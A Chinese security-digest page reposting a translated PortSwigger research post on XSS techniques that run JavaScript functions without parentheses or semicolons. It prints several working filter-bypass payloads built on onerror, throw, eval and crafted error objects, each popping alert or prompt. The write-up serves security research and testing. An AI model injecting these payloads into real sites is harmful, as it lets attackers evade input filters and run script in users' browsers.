首页 安全文摘 正文

不需要括号和分号的XSS

几年前,我发现了一种在JavaScript中调用函数而不使用括号onerror和throw语句的技术。它的工作原理是将onerror处理程序设置为您要调用的函数,该throw语句用于将参数传递给函数:<script>onerror=alert;throw 1337</script>onerror每次创建JavaScript异常时都会调

几年前,我发现了一种在javascript中调用函数而不使用括号onerrorthrow语句的技术。它的工作原理是将onerror处理程序设置为您要调用的函数,该throw语句用于将参数传递给函数:

<script>onerror=alert;throw 1337</script>

onerror每次创建JavaScript异常时都会调用该处理程序,并且该throw语句允许您创建包含发送到onerror处理程序的表达式的自定义异常。因为throw是一个语句,所以通常需要onerror使用分号来完成赋值,以便开始一个新的语句而不是形成一个表达式。

我遇到了一个过滤括号和分号的网站,我认为必须能够使用这种技术来执行一个没有分号的函数。第一种方法非常简单:您可以使用花括号来形成一个块语句,您可以在其中进行onerror分配。在块语句之后,您可以使用  throw 不带分号(或新行):

<script>{onerror=alert}throw 1337</script>

块声明很好,但我想要一个更酷的选择。有趣的是,因为throw语句接受一个表达式,所以你可以onerrorthrow语句中进行赋值,  并且因为表达式的最后一部分被发送到onerror处理程序,所以将使用所选参数调用该函数。以下是它的工作原理:

不需要括号和分号的XSS XSS 安全文摘  第1张

<script>throw onerror=alert,'some string',123,'haha'</script>

如果您已尝试运行代码,则会注意到Chrome使用“Uncaught”将发送到异常处理程序的字符串作为前缀。

不需要括号和分号的XSS XSS 安全文摘  第2张

在我之前的博客文章中,我展示了如何使用eval作为异常处理程序并评估字符串。回顾一下,你可以在字符串前加上一个=,然后将'Uncaught'字符串变成一个变量并执行任意JavaScript。例如:

<script>{onerror=eval}throw'=alert\x281337\x29'</script>

发送到的字符串eval是“ Uncaught=alert(1337)”。这在Chrome上工作正常,但在Firefox上,异常会以两个字符串“未捕获的异常”作为前缀,这当然会在评估时导致语法错误。我开始寻找方法。 

值得注意的是,从控制台onerror/throw执行a时,该技巧无效throw。这是因为当throw在控制台中执行语句时,结果将发送到控制台而不是异常处理程序。

当您Error在Firefox中使用该函数创建异常时,它不包含“未捕获的异常”前缀。但相反,只是字符串“错误”:

throw new Error("My message")//Error: My message

我显然无法调用该Error函数,因为它需要括号,但我想如果我使用带有Error原型的对象文字来模拟行为。这不起作用 - Firefox仍然使用相同的字符串作为前缀。然后我使用Hackability Inspector检查Error对象以查看它具有的属性。我将所有属性添加到对象文字中并且它有效!我一个接一个地删除了一个属性,找到了所需的最小属性集:

<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>

您也可以使用fileName属性在Firefox上发送第二个参数:

<script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}</script>

我在推特上发布了这些东西@terjanq@cgvwzq(Pepe Vila)后面跟着一些很酷的向量。这里@terjanq删除所有字符串文字:

<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

通过使用类型错误将字符串发送到异常处理程序,Pepe完全删除了对throw语句的需要。 

<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>

原文由:https://portswigger.net/blog/xss-without-parentheses-and-semi-colons

海报

本文转载自互联网,如有侵权,联系删除

转载请注明本文地址:https://heibai.org.cn/1289.html

相关推荐

基于污点分析的XSS漏洞辅助挖掘的一种方式

1. 序我在之前的一篇文章中简单讲解了Web应用代码自动化审计的几种实现方式。这篇文章以自动化辅助挖掘XSS漏洞漏洞为例,简单的讲解一个实际的灰盒分析实现的例子。在上文中有提到到,漏洞可以认为是输入到...

漏洞分析 3年前 (2019-06-14) 0 502510

发布评论

ainiaobaibaibaibaobaobeishangbishibizuichiguachijingchongjingdahaqiandaliandangaodw_dogedw_erhadw_miaodw_tuzidw_xiongmaodw_zhutouganbeigeiliguiguolaiguzhanghahahahashoushihaixiuhanheixianhenghorse2huaixiaohuatonghuaxinhufenjiayoujiyankeaikeliankouzhaokukuloukunkuxiaolandelinileimuliwulxhainiolxhlikelxhqiuguanzhulxhtouxiaolxhwahahalxhzanningwennonuokpinganqianqiaoqinqinquantouruoshayanshengbingshiwangshuaishuijiaosikaostar0star2star3taikaixintanshoutianpingtouxiaotuwabiweifengweiquweiwuweixiaowenhaowoshouwuxiangjixianhuaxiaoerbuyuxiaokuxiaoxinxinxinxinsuixixixuyeyinxianyinyueyouhenghengyuebingyueliangyunzanzhajizhongguozanzhoumazhuakuangzuohenghengzuoyi
感谢您的支持